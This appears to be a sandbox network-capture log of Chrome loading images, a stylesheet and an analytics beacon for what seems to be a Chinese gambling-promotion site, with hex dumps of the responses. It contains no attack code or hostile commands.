2024-09-27 03:51:04 UTC	1893	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3f 00 00 00 3f 08 06 00 00 00 57 5f 10 df 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 6e 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDR??W_tEXtSoftwareAdobe ImageReadyqe<niTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49893	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:04 UTC	424	OUT	GET /sichuang/images/2023/04/03/image_1680511227_Glxj11O4.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:04 GMT Content-Type: image/png Content-Length: 4083 Connection: close x-oss-request-id: 66F62BA88915C63437C051E0 Accept-Ranges: bytes ETag: "E741245E714A3F582AC323F8B6E796CE" Last-Modified: Mon, 29 Jan 2024 03:33:53 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 17112205369470847674 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 50EkXnFKP1gqwyP4tueWzg== x-oss-server-time: 0
2024-09-27 03:51:04 UTC	4083	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3f 00 00 00 3f 08 06 00 00 00 57 5f 10 df 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 6e 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDR??W_tEXtSoftwareAdobe ImageReadyqe<niTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49900	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:04 UTC	353	OUT	GET /zhuye/index.css HTTP/1.1 Host: www.zhspay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	249	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:04 GMT Content-Type: text/css Content-Length: 1092 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close Vary: Accept-Encoding ETag: "62a21a39-444" Accept-Ranges: bytes
2024-09-27 03:51:04 UTC	1092	IN	Data Raw: 2f 2a 20 3a 3a 3a 3a 3a 20 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 20 3a 3a 3a 3a 3a 20 2a 2f 0d 0a 0d 0a 2a 20 7b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 20 7d 0d 0a 61 20 7b 20 63 6f 6c 6f 72 3a 20 72 67 62 28 30 2c 20 30 2c 20 30 29 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 2e 63 6c 65 61 72 20 7b 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 20 7d 0d 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 20 77 69 64 74 68 3a 20 31 31 30 30 70 78 3b 20 7d 0d 0a 2e 74 6f 70 20 7b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7d 0d 0a 2e 74 6f 70 20 69 6d 67 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 70 78 3b 20 6d 61 72 67 69 6e Data Ascii: /* ::::: /css/style.css ::::: / { margin: 0px; padding: 0px; }a { color: rgb(0, 0, 0); text-decoration: none; }.clear { clear: both; }.container { margin: auto; width: 1100px; }.top { text-align: center; }.top img { margin-top: 8px; margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49896	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:04 UTC	659	OUT	GET /images/2024/05/10/sichuang/image_1715310262_gb1bC5Ye.jpg HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	550	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:04 GMT Content-Type: image/jpeg Content-Length: 1932245 Connection: close x-oss-request-id: 66F62BA8A3A9C6323257B414 Accept-Ranges: bytes ETag: "A897228C00C69BA634913D6600000000" Last-Modified: Fri, 10 May 2024 03:15:00 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 12005406937339565992 x-oss-next-append-position: 1932245 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 3
2024-09-27 03:51:04 UTC	15834	IN	Data Raw: ff d8 ff e1 0e 48 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 13 88 00 00 01 01 00 03 00 00 00 01 09 c4 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 30 35 3a 31 30 20 31 31 3a 31 34 3a 35 39 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: HExifMM*(12i ''Adobe Photoshop 21.1 (Windows)2024:05:10 11:14:590
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 9b 16 6c 96 b5 ac de 18 43 b0 e2 fc 14 b3 4e 37 5c 93 76 22 54 c7 ef ae ef 33 a1 b8 2c ed 7b 0a 0d 50 61 bd 04 c4 56 2f 49 d8 31 b4 c9 94 ca f3 4b 98 d1 96 14 e9 b2 7c ec 8f 4e 83 6f ce 5a 91 c8 bb 4d 60 2d 32 c1 38 5c 2c 22 09 6f 5e 09 c3 aa 52 24 70 26 33 76 7e 1c ef 37 ec db 87 03 e3 da d5 1f b8 f6 d0 d6 8a 5c 8b 28 24 19 fb 6a ab 55 01 55 fd 46 7f 81 72 8a e4 7a 04 98 bc 08 30 b0 78 05 c8 77 43 72 d0 41 0b 16 ea a7 fe 9c 71 30 58 bb 16 bd b1 a6 02 ef 79 42 4e d6 97 95 ef 18 f2 4c 4d 92 6a e6 28 49 5d 64 de 48 db 4e 90 c7 05 d6 ca 40 f0 07 a4 fe 90 61 91 28 ed b4 9e 61 9a 90 a7 3d e8 bb 96 bc 85 7b 08 d1 49 11 db 16 d8 73 e9 36 83 95 f9 91 b9 67 75 e0 92 f8 6f 76 3b dd d3 5f 04 53 3b 4b a7 f2 dd 68 67 39 be 72 1a 1e cb 54 e5 a2 8b a4 9e 8d ac 4c f3 d0 Data Ascii: lCN7\v"T3,{PaV/I1K\|NoZM`-28\,"o^R$p&3v~7\($jUUFrz0xwCrAq0XyBNLMj(I]dHN@a(a={Is6guov;_S;Khg9rTL
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 93 38 4b db 8f 67 72 2a f1 4e 5f c1 4f c5 38 96 fe 0f 15 16 70 b8 1f 51 71 7d bf 23 53 57 8f 72 3e 48 19 cc e2 3c 87 32 e2 a6 9a 25 af 1d e4 3e d3 69 52 ed 11 a5 32 d8 06 86 7a f2 09 b0 ea 0b bc 7b a4 89 8b f6 09 88 9c 5a 2f c3 a6 28 90 33 53 7a 7b 83 72 f7 0c cc 4c e9 93 a8 fc 67 98 9d 95 33 51 e2 39 ba fc 5c 7a d8 3c 9c 39 ce 6d d1 29 cc 9e 10 c0 6b c3 30 54 e2 db 18 39 07 3a fa 62 9d 42 73 5c 70 ef 16 83 32 84 a6 42 f9 c7 d8 a7 ae ea 96 c0 24 8c 4c 5b 62 1e fd ed be b7 f0 da 60 5a 92 aa a9 89 89 f7 aa 01 6d 29 b4 31 bd d4 13 47 ba 96 97 3f d0 ce e5 1c 43 8c df d2 4b 23 83 43 bd 3b d9 b5 35 12 77 09 9c 7e 45 9a 6d 6c 62 6e fa ed 67 b1 aa a6 79 a2 38 e3 2e 68 0e 90 2a ce 76 fe 0d 3d 8d dd 6c aa 6f 49 11 d2 c4 17 cd ce 1f 28 e2 75 34 d5 4d 30 aa ad 4f 59 Data Ascii: 8KgrN_O8pQq}#SWr>H<2%>iR2z{Z/(3Sz{rLg3Q9\z<9m)k0T9:bBs\p2B$L[b`Zm)1G?CK#C;5w~Emlbngy8.hv=loI(u4M0OY
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 6f 2f 79 54 f9 fe 0e ce b7 17 40 b9 e8 89 0c 47 1e e2 ca ea 11 cb 6c 67 e6 e2 44 9c d6 a2 ce 4d 53 b2 1a 6a 16 2a 6a 5a 10 11 6e 25 f7 b3 78 1b da 75 8a 9f cc 11 5a 7a 69 2a cf 50 59 2c 40 12 16 e2 67 b5 9a 3d f9 e6 65 e8 07 e2 19 d1 bd 8f bb d2 0e a7 75 2b 83 f2 4c 70 bf 91 c9 33 f3 f4 39 62 10 0e 5b c6 94 6c 7c 98 d9 ea e3 e4 35 87 9a f6 2e fd b6 59 5c 0c f2 46 4e d4 ab 9e b5 ef 79 c7 55 08 b3 48 d2 83 29 99 e6 6f 36 22 00 e3 55 51 d4 d3 56 1a 6b aa 97 aa 11 6c 23 7e d9 58 be d0 e9 6f 9e 66 87 a8 fc 9b 81 f4 d7 92 74 e3 2d 0e 2c 1e a1 24 86 ce 33 4c 0d b0 f3 fe 23 a3 81 ca f9 8f 51 d1 7a 99 db 22 e4 39 bf 91 3f 9b 93 7c 40 30 b8 eb 9f bd 19 39 ed 35 e9 fa 07 13 12 8f ca cb c8 b2 55 3d 34 b3 79 95 8b 76 ee 6a c9 aa 29 ae 82 d7 87 15 5a 50 bc c8 13 3d cb Data Ascii: o/yT@GlgDMSjjZn%xuZziPY,@g=eu+Lp39b[l\|5.Y\FNyUH)o6"UQVkl#~Xoft-,$3L#Qz"9?\|@095U=4yvj)ZP=
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 8d d1 2a ae 5c 17 7a a0 97 97 6c fd a6 9e 9a a8 1f cd 54 d5 04 c7 49 51 01 bb 34 dc 05 99 b4 5b 56 bf 12 e6 69 ef a7 d4 4e 1f c8 73 33 d8 0f 33 ea 51 79 8e 19 d9 50 88 6b e1 23 cc b4 b9 36 07 17 77 8b e6 f2 22 a6 ea 3c 83 29 de 18 93 fc 7d f0 c6 6b 81 d4 e4 f9 e1 02 8a be b7 9b 85 43 4c 34 b2 94 d5 4a e4 5a 4a 14 52 46 97 a8 ea 2e 06 64 6d 7e 15 44 57 44 31 55 6b 48 90 82 54 19 bd 92 42 f2 a0 61 d2 47 e2 73 80 b9 d6 3e 92 74 3b 9b f0 82 72 77 18 e2 bc 85 5e 0f ab d4 22 65 a3 1c a5 ac fe 39 5d 54 f2 37 ae 34 4c 85 9f cb a7 2c 3b 38 0b b5 42 02 4e fd b2 e3 45 ba bc 4a fa 87 85 51 e1 d7 e2 d3 5f 49 d4 4b 45 e0 58 9a 58 23 f2 9e 81 8d 67 e3 4d 65 35 5d e9 a9 a4 a9 0e a6 3f 2f fe dd 37 89 98 b6 9a fa 51 d4 17 5d e3 9f 89 0e 87 68 e2 30 3d a4 7a 2d 75 76 78 9e Data Ascii: *\zlTIQ4[ViNs33QyPk#6w"<)}kCL4JZJRF.dm~DWD1UkHTBaGs>t;rw^"e9]T74L,;8BNEJQ_IKEXX#gMe5]?/7Q]h0=z-uvx
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 23 46 51 45 b2 48 30 5e c7 78 b2 ce 2e 5a 0d f5 22 d4 dd 81 98 5b c3 54 26 d3 12 df 6f 84 ea ba e3 f7 d6 e2 3c d6 fd 13 dc c7 cd 9e 2b a5 8a ae b0 b9 89 19 ab 7a 19 91 4a 8b 5a 0b 8b 06 b3 59 34 b2 7a cd 6a 62 53 3c 40 54 23 77 40 fe 6c 0c 55 58 b5 aa 81 3a c6 f7 b7 13 34 c7 c1 9d f5 5d 3d 3f f0 e0 46 92 aa 58 25 b6 d3 14 d9 52 c7 26 9b 71 f9 01 f6 5a d7 e5 4e 6c c7 0f 26 98 ab d4 2d 4b ca f2 c6 46 5e e6 5e eb 5c 77 92 36 c6 3d c0 51 2e ee 72 b5 81 2a 72 06 e9 32 4e 48 a3 7a 27 a2 8b bc 48 48 44 66 23 92 46 f1 27 33 e9 16 cd d5 0b cb 41 05 4a 42 30 b4 b6 71 01 16 22 f7 20 d5 b9 ca 76 f3 79 8d 83 5d 36 33 b8 82 0f 74 bb 74 4a 6e 86 08 ce 2f 2f ce e4 6e 62 e6 2e 9b 8b 38 36 89 c7 d4 ce d1 47 17 5f 90 67 e7 0d 61 a7 3a 44 6c 16 3d 2f a3 58 57 06 ff 00 d4 1c Data Ascii: #FQEH0^x.Z"[T&o<+zJZY4zjbS<@T#w@lUX:4]=?FX%R&qZNl&-KF^^\w6=Q.r*r2NHz'HHDf#F'3AJB0q" vy]63ttJn//nb.86G_ga:Dl=/XW
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: 0d da b5 31 b9 13 53 50 0d d6 bd c8 2f 2b 85 db 00 36 44 37 4e 0c 6b 8d b0 cc 38 bd 98 7a ad da d7 37 24 f9 e3 b6 b3 a9 49 00 86 90 24 f2 8a ad 7b dd 18 c6 5c 3a 8c ff 00 1f cb c8 b7 19 e2 c6 c5 2d 72 47 c8 aa a2 3a 95 14 2b b8 6d 31 35 ec b4 71 5e 3a c4 68 76 ac 86 72 ce bb a6 0c d9 96 07 45 ab 5e e2 2d c2 4b 0b 3e f4 12 4e 0e 70 43 99 3b ef 69 5d 2c 94 b7 7a 80 c0 8c b3 29 33 b4 5b 36 da 74 1f 43 3f 97 67 37 cd b8 67 65 0a a6 5e a2 b4 72 ec e7 a4 5a 59 66 eb 7d 02 3d 74 6a d5 c7 46 0e 29 f2 1b 21 9b b8 56 86 11 b7 75 4b 5a da 8c 07 a5 b0 f6 91 b3 e4 d8 c4 4c 02 c4 97 12 55 43 55 2c 28 f6 58 fd 1d e6 6f 8b 38 36 77 db cb e7 d7 c2 7c 61 67 85 f1 a6 91 47 90 6b 08 ac c5 b0 72 b6 52 4c 21 2b 5a 04 ad 89 3f c2 5b d6 52 4d 52 58 52 7b 04 67 5a 27 c4 08 24 92 Data Ascii: 1SP/+6D7Nk8z7$I${\:-rG:+m15q^:hvrE^-K>NpC;i],z)3[6tC?g7ge^rZYf}=tjF)!VuKZLUCU,(Xo86w\|agGkrRL!+Z?[RMRXR{gZ'$
2024-09-27 03:51:05 UTC	16384	IN	Data Raw: 4e fa 75 5e fc de 67 b6 3d 19 0e 76 d6 46 f5 32 59 be b6 65 17 25 92 e3 59 ac ac c4 a9 52 0d 0d 37 f1 50 9a d8 f5 66 6b e9 dc 87 28 20 17 5e 0b 27 b0 08 1b 2d 72 40 ae 4b 04 c5 e6 e9 b4 b1 98 7c a5 25 d1 69 4a 89 8c d9 06 07 ce c9 66 2e 1b e6 72 78 53 55 ad 6c 3b d0 91 9e e6 0a 5b af e8 1e e2 62 b3 08 0d 0d 4b ac a7 9d 86 35 9e bf a9 02 ba f0 e1 09 4b d7 f5 54 64 60 91 46 c1 c7 ea 13 12 71 1d c8 8f 31 d0 03 37 fe 99 96 ec 90 f6 5d ed 3c de 1d 15 e4 75 19 32 76 f4 75 d7 15 b3 4e e2 e9 ae 85 6a 3e e9 98 4f b9 73 ac 02 cd cf da 15 bc 16 8b c4 c0 fd 48 b2 4b 5f b5 67 d3 b1 04 9c 87 cb d3 e5 eb 18 b1 51 02 b0 dc 5e 64 59 08 9d fd 18 22 71 ae 90 53 e7 6a 95 9e 5a 73 b1 94 ae 72 3e 0b 2b 70 81 fc 16 f5 9a 52 a0 85 eb 5e c7 88 19 97 5d 12 7a 77 60 90 01 d6 97 62 Data Ascii: Nu^g=vF2Ye%YR7Pfk( ^'-r@K\|%iJf.rxSUl;[bK5KTd`Fq17]<u2vuNj>OsHK_gQ^dY"qSjZsr>+pR^]zw`b
2024-09-27 03:51:05 UTC	16384	IN	Data Raw: c7 74 32 1d cb ad ac d7 1e e4 19 1b d7 e4 ea 72 34 33 b8 7b bb c4 c8 d3 e2 2b ea 83 1b 5a 51 b5 81 9c 89 74 f4 f6 6d 17 bc d9 a5 e8 85 a5 ea 83 78 b9 73 98 9c 53 4d c2 36 b4 ac 6b 3a 89 20 85 66 f6 b2 1b b6 8c 1b 91 39 b4 6a 80 e5 fc 2f aa a1 ea 77 14 42 79 e7 15 e6 27 e2 3a 6b bd 3a 9c a5 4e 45 66 38 8e 17 21 e3 7c 9d 3e 53 8f a3 c8 b0 b9 5e 29 88 4d cc 2d 37 57 66 ee 87 90 3a a1 f7 1a 7c 22 a0 47 9e 74 d9 51 2c 91 68 b2 79 dc 05 b4 cd 45 a1 09 66 65 94 ca 92 33 79 47 a7 f2 c4 49 19 b1 3d 4d db 6b 78 f2 fa 2a a6 1e 53 1a 9c 63 4d 8c bd 3e 72 87 07 e0 5c c3 3d 87 5f c6 ce 3d 78 fe 6a f8 1c 77 47 8d 1b 50 8d ea 27 cc 33 f3 eb 39 a7 da 21 a5 86 ef af 62 b8 6d 12 e4 2c a0 a2 f5 04 46 42 20 8e d1 be f7 2f 9b 5a 74 24 2d fa a0 e5 6d 78 dd d8 c7 25 f6 89 1d 29 Data Ascii: t2r43{+ZQtmxsSM6k: f9j/wBy':k:NEf8!\|>S^)M-7Wf:\|"GtQ,hyEfe3yGI=Mkx*ScM>r\=_=xjwGP'39!bm,FB /Zt$-mx%)
2024-09-27 03:51:05 UTC	16384	IN	Data Raw: 33 2c b4 c0 3b a2 f2 cf ce 38 df 51 f8 d2 3c 90 99 1b 79 fc bf 6f 3b a8 fb fb dc 47 5d 86 37 12 d4 c1 3e 15 91 ea 13 fa 1a c9 36 ab 8f 3c bf 26 e9 ef 20 08 76 31 70 0a bb 14 67 22 55 2c eb 2e 45 ed 96 a9 e9 6d d2 d3 4d 54 c2 45 29 ef 1d 14 8c 20 74 d6 29 55 46 e6 35 af 45 51 12 56 d3 55 41 52 45 45 56 aa e7 7a 59 43 e0 dd 2f f1 72 5e 49 c7 39 c6 36 e7 1d df 53 25 cd 3e 8d ea 36 1e 19 b3 03 23 5b 64 e5 9c 9b 6f 6b 27 5b 87 72 fc f0 92 e9 b8 34 93 d4 e4 00 c2 e4 9a 04 1c a6 ea 99 49 58 13 62 0c 79 41 d0 d9 12 bb d4 4c 10 42 54 39 26 29 50 d9 cc c3 a3 d6 54 24 de 86 29 7f aa 55 91 8e d5 40 b2 44 4e 34 7b 9c f5 37 a7 5d 59 e8 9e 5e 2e c3 4a bb 5d 4f fc 96 80 fc bf 33 14 89 f2 85 90 e7 3c b7 91 e5 62 d7 5c 24 77 35 b7 36 78 c1 f2 42 7d 6b a1 ca 24 5a 05 b6 a3 Data Ascii: 3,;8Q<yo;G]7>6<& v1pg"U,.EmMTE) t)UF5EQVUAREEVzYC/r^I96S%>6#[dok'[r4IXbyALBT9&)PT$)U@DN4{7]Y^.J]O3<b\$w56xB}k$Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49866	118.123.207.191	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:04 UTC	913	OUT	GET /go1?id=21261259&rt=1727409055278&rl=12801024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=yh533388%25E9%2593%25B6%25E6%25B2%25B3%25E3%2580%2590hbyczyz.com%25E3%2580%2591%25E6%2598%25AF%25E4%25BA%259A%25E6%25B4%25B2%25E5%25A4%259A%25E5%2585%2583%25E5%258C%2596%25E5%25A8%25B1&ing=1&ekc=&sid=1727409055278&tt=yh533388%25E9%2593%25B6%25E6%25B2%25B3%255B%25E5%259C%258B%25E9%259A%259B%255D%25E4%25BF%25B1%25E4%25B9%2590%25E9%2583%25A8-IOS%252FAndroid%252FAPP%25E4%25B8%258B%25E8%25BD%25BD&kw=yh533388%25E9%2593%25B6%25E6%25B2%25B3&cu=https%253A%252F%252Fwww.hbyczyz.com%252F&pu= HTTP/1.1 Host: ia.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: /* Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:05 UTC	278	IN	HTTP/1.1 200 Date: Fri, 27 Sep 2024 03:51:05 GMT Content-Length: 0 Connection: close Server: nginx via: CHN-SCchengdu-AREACT1-CACHE34[49],CHN-SCchengdu-AREACT1-CACHE34[ovl,47],CHN-HAzhengzhou-GLOBAL3-CACHE77[ovl,2] X-CCDN-REQ-ID-46B1: d5dd6e7c0be2e681bb2393b65b67fd75

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49897	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:04 UTC	424	OUT	GET /images/2024/05/10/sichuang/image_1715311213_h179c92l.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:04 GMT Content-Type: image/png Content-Length: 141296 Connection: close x-oss-request-id: 66F62BA8A3A9C639346AB414 Accept-Ranges: bytes ETag: "9B88710F9608A9B5E9943D6600000000" Last-Modified: Fri, 10 May 2024 03:30:49 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 13090003232526272667 x-oss-next-append-position: 141296 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 3
2024-09-27 03:51:04 UTC	15837	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e4 00 00 02 62 08 06 00 00 00 8f 4d d7 a0 00 00 00 09 70 48 59 73 00 00 0f 61 00 00 0f 61 01 a8 3f a7 69 00 00 06 f3 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRbMpHYsaa?iiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RD
2024-09-27 03:51:04 UTC	16384	IN	Data Raw: f2 a7 3e 83 38 8a 31 3c 3c 8c 2b 2f bb 1c fb 0f 1e c0 f7 ef ff 21 04 17 38 75 fa 14 76 6c db 8e b7 df d9 87 e9 99 69 80 31 dc 79 eb 1d b8 f5 a6 5b f0 ca eb af 62 7a 7a 1a 9f f8 e8 c7 f1 b5 7b be 05 ce 79 d7 55 0f 84 e0 08 73 21 2e bd e8 12 bc f0 ea 4b 98 9c 9c c2 b6 ad db 70 ee f6 9d 38 7a fc 28 4e 9d 3e 85 8d e7 6c c4 fa b5 eb f0 d0 63 3f 01 4f a4 2f ec 75 d7 5c 87 f5 eb d7 e3 89 a7 9f c4 b5 bb ae 41 10 30 cc ce cd e2 57 3e f3 79 bc fa c6 6b 88 da 6d b4 5a 2d 44 71 84 5c 4e 5a e9 ef bc e5 76 9c b3 e1 1c ac 5f b7 1e 07 0f 1f c6 55 57 5e 85 2d 9b b6 e0 ad bd 7b d0 6c 35 71 7a e2 34 56 ad 5c 09 2e 04 e6 e6 e7 b0 7d f3 36 7c ee 93 9f 45 ad 51 c7 eb 6f bd 89 66 ab 89 46 ab 89 b9 f9 79 8c 8e 8c e2 fd 77 dc 85 6a a5 82 bf fa 9f ff 5d ba e9 14 0a 5e 4f 31 5b 76 Data Ascii: >81<<+/!8uvli1y[bzz{yUs!.Kp8z(N>lc?O/u\A0W>ykmZ-Dq\NZv_UW^-{l5qz4V\.}6\|EQofFywj]^O1[v
